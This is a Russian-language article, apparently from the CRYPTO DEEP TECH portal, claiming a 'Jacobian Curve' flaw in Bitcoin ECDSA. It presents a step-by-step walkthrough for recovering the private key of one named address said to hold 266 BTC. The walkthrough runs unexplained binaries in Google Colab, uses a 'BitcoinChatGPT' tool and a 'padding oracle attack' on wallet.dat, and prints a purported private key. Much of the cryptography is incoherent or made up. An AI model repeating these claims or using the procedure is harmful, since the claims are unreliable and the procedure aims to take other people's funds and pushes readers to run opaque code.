В данной статье рассмотрим на примере уязвимость, связанная с реализацией кривой Якоби (Jacobian Curve). В последние годы криптовалюты, такие как Биткоин, стали важной частью финансовой экосистемы. Однако с ростом их популярности увеличивается и количество угроз, связанных с кибербезопасностью. Одной из таких угроз является уязвимость алгоритма Jacobian Curve, которая затрагивает алгоритм цифровой подписи эллиптической кривой (ECDSA). Эта уязвимость позволяет злоумышленникам генерировать поддельные подписи, что может привести к серьезным последствиям для пользователей и целостности сети Биткоин.
Jacobian Curve algorithm vulnerability относится к недостаткам в реализации криптографии эллиптических кривых, в частности, затрагивающим ECDSA. Злоумышленники могут манипулировать математическими свойствами координат Якоби, используемых в вычислениях эллиптических кривых, что позволяет им создавать мошеннические транзакции с поддельными подписями, также Jacobian Curve algorithm vulnerability связана с недостатками в реализации криптографии эллиптических кривых, применяемых в ECDSA. Эта уязвимость позволяет злоумышленникам манипулировать математическими свойствами координат Якоби, используемых для генерации цифровых подписей. В результате таких манипуляций злоумышленники могут создавать мошеннические транзакции с поддельными подписями, которые будут приняты системой Биткоин как действительные.
Уязвимость возникает в процессе десериализации данных, который может быть использован для внедрения вредоносного кода и создания ложных подписей. В случае неправильной обработки данных злоумышленники получают возможность подделывать подписи ECDSA, что ставит под угрозу целостность системы Биткоин.
Потенциальные последствия
Основная угроза, связанная с этой уязвимостью, заключается в возможности несанкционированного доступа к средствам пользователей. Злоумышленники могут использовать поддельные подписи для создания транзакций, которые переводят биткоины из кошельков ничего не подозревающих пользователей на свои собственные счета. Это не только подрывает доверие к системе, но и может привести к значительным финансовым потерям для пользователей. Поддельные подписи позволяют злоумышленникам переводить средства с кошельков жертв на свои счета. Более того, такие атаки могут нарушить целостность блокчейна, создавая угрозу двойной траты и разрушая основной принцип работы системы.
Атака «отказ в обслуживании» (DoS) и утечки конфиденциальной информации, включая «приватные ключи пользователей».
Если определенные узлы в сети Биткоин скомпрометированы, это может привести к разветвлению блокчейна на несовместимые цепочки, создавая путаницу и потенциальные проблемы двойной траты. Кроме того, злоумышленники могут использовать эту уязвимость для запуска атак типа «отказ в обслуживании» (DoS), заполняя сеть недействительными транзакциями, что может сделать ее недоступной для законных пользователей.
Успешная эксплуатация этой уязвимости, также может вызвать рассогласование в состоянии консенсуса сети Биткоин, что приведет к разделению цепи блоков на несовместимые ветви. В результате могут возникнуть атаки типа «отказ в обслуживании» (DoS) и утечки конфиденциальной информации, включая приватные ключи пользователей.
Механизмы эксплуатации и влияние на мультиподписи
Уязвимость алгоритма Jacobian Curve особенно опасна для систем, использующих схемы мультиподписи, где для завершения транзакции требуется несколько подписей от разных участников. Злоумышленник может сгенерировать поддельные подписи, которые будут приняты системой, что ставит под угрозу не только отдельные транзакции, но и весь процесс использования мультиподписи.
Как нам стало известно, если входные данные пользователей не проверяются должным образом, это может привести к серьезным сбоям в работе системы Биткоин, где злоумышленник может воспользоваться моментом и внедрить вредоносный код и в конечном итоге манипулировать системой с помощью создание поддельной подписями в транзакций Биткоин.
Практическая часть
Из теории уязвимости алгоритма Jacobian Curve известно, что злоумышленники могут использовать уязвимость для проведения атак DoS, перегружая сеть недействительными транзакциями, что дестабилизирует работу сети Биткоин. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 , где были потерянный монеты на сумму: 266.03138481 BTC на август 2024 года эта сумма составляет: 15747770,36 USD
Tutorials Power AI
Воспользуемся списком из “Tutorials Power AI” широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом.
BitcoinChatGPT — это инновационный чат-бот на базе искусственного интеллекта, который помогает пользователям находить уязвимости в транзакциях криптовалюты Bitcoin. Преимущества и классификации BitcoinChatGPT дают возможность проверить ваш адрес Bitcoin на предмет различных схем атак на криптокошельки. Машинное обучение на основе криптоанализа дает нам полную возможность исследовать различные атаки на алгоритмы, используемые в экосистеме Bitcoin. Инструменты для извлечения закрытого ключа из реестра Bitcoin Wallet широко популярны, где BitcoinChatGPT служит важным и полезным ресурсом для кибербезопасности.
Применим уязвимость, связанная с реализацией кривой Якоби (Jacobian Curve) для создания Raw транзакции с помощью процесса машинного обучение BitcoinChatGPT
Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT
Откроем версию Google Colab:
Соединим все выданные значение в одну общую строку:
01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008a47304402201c0075c09b94e2ba2508e41028bf4ab9845e6d3a3f2ec82ae40c412ba15f524002207ab992f45b5ff5856998efb50cd3cfef49a44e376b9347b177a5f046bc14d606014104603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74effffffff01d2040000000000001976a914334a75f1d3bbefa5b761e5fa53e60bce2a82287988ac00000000
Откроем опцию от BlockCypher “Decode A Transaction”:
После декодирование уязвимой Raw транзакции Биткоина мы получаем результат:
Обратим внимание на Bitcoin HASH160: 334a75f1d3bbefa5b761e5fa53e60bce2a822879
Transaction Script
The above script has been decoded
BitcoinChatGPT создает структуру транзакции, используя HASH публичного ключа, где мы видим что Bitcoin address: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 отправляет 1234 satoshi на тот же адрес внутри своей сети.
Bitcoin HASH160 был получен с помощью Python Script: wif_to_hash160.py
В конечном итоге модуль BitcoinChatGPT выдает ответ в файл: KEYFOUND.privkey сохранив приватный ключ в двух наиболее используемых форматах HEX & WIF
BitcoinChatGPT №4 Jacobian Curve Vulnerability Algorithm
Уязвимая Raw транзакция
Создадим из полученных данных уязвимую Raw транзакцию используя репозиторию Broadcast Bitcoin Transaction
Скачаем и установим исходный код откроем терминал и запустим команду:
cd Broadcast-Bitcoin-Transaction
Установим три важные библиотеки:
pip install -r requirements.txt
Откроем в Notepad++ основной файл и внесем небольшие изменение в коде Python Script: main.py
Откроем файл RawTX в каталоге:
Порядок выполнения действий на видео:
Как нам известно из prompt ответов модуля BitcoinChatGPT Jacobian Curve Vulnerability Algorithm может быть использован для решения сложных криптографических задач.
Smart Transformers
Применим машинное обучение Smart Transformers, интегрируем блокнот Google Colab с Pytorch, TensorFlow, JAX и с помощью полученных данных уязвимой Raw транзакцией для Биткоин Адреса: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 создадим незащищённый файл wallet.dat из предложенного выбора всех существующих алгоритмов от SMART_IDENTIFY. После выполним Padding Oracle Attack на новосозданный файл: wallet.dat для расшифровки пароля в исходный бинарный формат с целью получение и извлечения приватного ключа из программной консоли Bitcoin Core используя при этом стандартную команду: dumpprivkey 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
Откроем новый блокнот Google Colab по ссылке:
Клонируем репозиторий Smart Transformers
Установим все необходимые пакеты и библиотеки:
!sudo apt-get update !sudo apt install libtool !sudo apt-get install g++ !sudo apt-get install libgmp3-dev libmpfr-dev !chmod +x Generic_Algorithms !./Generic_Algorithms !pip3 install transformers from transformers import AutoModelForCausalLM, AutoTokenizer model_name = "microsoft/DialoGPT-medium" tokenizer = AutoTokenizer.from_pretrained(model_name) model = AutoModelForCausalLM.from_pretrained(model_name) model = model.cpu()
Добавим нашу уязвимую Raw транзакцию в текстовый документ: RawTX.txt для этого воспользуемся утилитой echo
Теперь, чтобы получить точный алгоритм и метод для криптоанализы нам необходимо идентифицировать уязвимый RawTX с помощью утилиты SMART_IDENTIFY.
В результате мы получаем метод Jacobian_Curve_Algorithm, в ранних исследованиях тоже самое идентифицировал модуль BitcoinChatGPT.
################################################# Jacobian_Curve_Algorithm #################################################
Запустим процесс создание файла wallet.dat для этого используем идентифицированные данные уязвимой Raw транзакции в файле: RawTX.txt для процесса применим утилиту Jacobian_Curve_Algorithm
!./Jacobian_Curve_Algorithm -o RawTX.txt -s wallet.dat
Откроем в левой панели Google Colab каталог и видим файл: wallet.dat Успешно создан!
Download and Install Bitcoin Core 0.18.0 https://bitcoincore.org/bin/bitcoin-core-0.18.0
Откроем консоль и запустим команду:
getaddressinfo 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
Мы видим что файл: wallet.dat принадлежит Биткоин Адресу: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
Файл: wallet.dat зашифрован паролем!
Запустим команду для проверки приватного ключа:
dumpprivkey 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
Padding Oracle Attack
Воспользуемся методом Padding Oracle Attack на Wallet.dat и расшифруем пароль для доступа в бинарный формат пароля.
dumpprivkey 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
Private Key Information:
5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP
Bitcoin Address Information:
Balance: 266.03138481 BTC
https://www.coinbase.com/converter/btc/usd
Запустим код для проверки соответствие Биткоин Адреса:
__________________________________________________ Private Key WIF: 5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP Bitcoin Address: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 total_received = 266.03138481 Bitcoin __________________________________________________
Все верно! Приватный ключ соответствует Биткоин Кошельку.
Откроем bitaddress и проверим:
ADDR: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 WIF: 5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP HEX: C5FBD161D334BA9BBC199BD9A427F05A46AACFABFBB3BC1BFF9D227E418D76D9
Заключение и меры по смягчению угрозы:
Для защиты от угроз, связанных с уязвимостью Jacobian Curve, пользователям необходимо предпринять следующие шаги:
Обновление программного обеспечения: Регулярное обновление криптовалютных кошельков до версий, устраняющих уязвимости, критически важно для обеспечения безопасности.
Улучшение механизмов проверки подписей: Усиленная валидация входных данных и обработка ошибок помогут предотвратить создание поддельных подписей и защитить приватные ключи пользователей.
Мониторинг сетевой активности: Постоянный анализ состояния сети и выявление подозрительных транзакций на ранних этапах позволяют оперативно реагировать на попытки эксплуатации уязвимостей.
Применение многофакторной аутентификации: Внедрение дополнительных криптографических методов защиты значительно повысит безопасность.
Чтобы предотвратить возможные атаки, связанные с уязвимостью Jacobian Curve, пользователям Bitcoin настоятельно рекомендуется обновить программное обеспечение своих кошельков до последних версий, которые устраняют эту уязвимость. Регулярные обновления программного обеспечения, внедрение систем обнаружения аномалий и повышение осведомленности пользователей о возможных угрозах помогут сохранить целостность и безопасность криптовалютных систем.
Уязвимость алгоритма Jacobian Curve представляет собой значительную угрозу для безопасности криптовалютных транзакций и целостности блокчейна. Для минимизации рисков пользователи должны регулярно обновлять программное обеспечение, применять строгие меры безопасности и проводить постоянный мониторинг состояния сети. Эти меры помогут сохранить безопасность и устойчивость криптовалютных систем, защищая пользователей от потенциальных угроз и финансовых потерь.
References:
Jacobians of Curves Abelian Varieties: 10/10/03 notes by W. Stein
Jacobian of special singular curves KUBRA NARI AND ENVER OZDEMIR
On the Jacobian Varieties of Hyperelliptic Curves over Fields of Characteristic p > 2 NORIKO YUI Received October 15, 1977
Jacobian Coordinates on Genus 2 Curves Huseyin Hisil & Craig Costello Yasar University, Izmir, Turkey
Jacobians of Curves of Genus One Harvard University Cambridge, Massachusetts April, 1999
Jacobian curve of singular foliations Nuria Corral Article à paraître, mis en ligne le 3 juillet 2024.
AN ADDITION ALGORITHM ON THE JACOBIAN VARIETIES OF CURVES (FOR APPLICATIONS TO PUBLIC KEY CRYPTOSYSTEM) S. ARITA, S. MIURA, AND T. SEKIGUCHI
THE JACOBIAN AND FORMAL GROUP OF A CURVE OF GENUS 2 OVER AN ARBITRARY GROUND FIELD E. V. Flynn, Mathematical Institute, University of Oxford
On the genus of curves in a Jacobian variety VALERIA ORNELLA MARCUCCI Mathematics Subject Classification (2010)
LOCAL ARITHMETIC OF CURVES AND JACOBIANS P. Allen, F. Calegari, A. Caraiani, T. Gee, D. Helm, B. Le Hung, J. Newton, S. Scholze, R. Taylor, and J. Thorne, Potential automorphy
Compactified Jacobians of nodal curves Lucia Caporaso Expanded notes for a minicourse given at the Istituto Sup
Note on curves in a jacobian Compositio Mathematica, tome 88, no 3 (1993)
Arithmetic on Jacobians of algebraic curves Giulio Di Piazza Damien Robert
From the curve to its Jacobian and back Christophe Ritzenthaler Institut de Mathématiques de Luminy, CNRS Montréal
Generalized Jacobians I Caleb Ji Background from algebraic geometry
Hyperelliptic Curves and their Jacobians Benjamin Smith Isogeny school, online, 2021 Inria + École polytechnique, France
Jacobian curves for normal complex surfaces Fran¸coise Michel Mathematics Subject Classification 2000
THE JACOBIAN OF A RIEMANN SURFACE DONU ARAPURA Arapura, Riemann’s inequality and Riemann-Roch
A curve and its abstract Jacobian Boris Zilber University of Oxford August 22, 2012
Jacobians of Genus One Curves Sang Yook An and Seog Young Kim The University of Arizona
JACOBIANS CURVILINEAR COORDINATES Created by T. Madas
A GEOMETRIC APPROACH TO THE TWO-DIMENSIONAL JACOBIAN CONJECTURE ALEXANDER BORISOV
Jacobian Varieties J.S. Milne June 12, 2021
LOCAL ARITHMETIC OF CURVES AND JACOBIANS School of Mathematics and Statistics, University of Glasgow, University Place, Glasgow
Notes on Jacobian varieties: a brief survey Juliana Coelho (UFF) March 28, 2017
Fast Jacobian arithmetic for hyperelliptic curves of genus 3 Andrew V. Sutherland
The Jacobian of a Transformation Proceedings of the Thirteenth Algorithmic Number Theory Symposium
SEMINAR ON ALGEBRAIC GEOMETRY: “JACOBIANS OF CURVES” Organizers: Peter Scholze, Johannes Anschutz
EQUATIONS FOR THE JACOBIAN OF A HYPERELLIPTIC CURVE PAUL VAN WAMELEN
Comparatively Study of ECC and Jacobian Elliptic Curve Cryptography Anagha P. Zele , Avinash P. Wadhe
THE RANK OF THE JACOBIAN OF MODULAR CURVES: ANALYTIC METHODS BY EMMANUEL KOWALSKI
Space filling curves in their Jacobian Autor Thijs Limbeek Supervisors Prof. Dr. Ben Moonen Dr. Arne Smeets November 24, 2020
Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.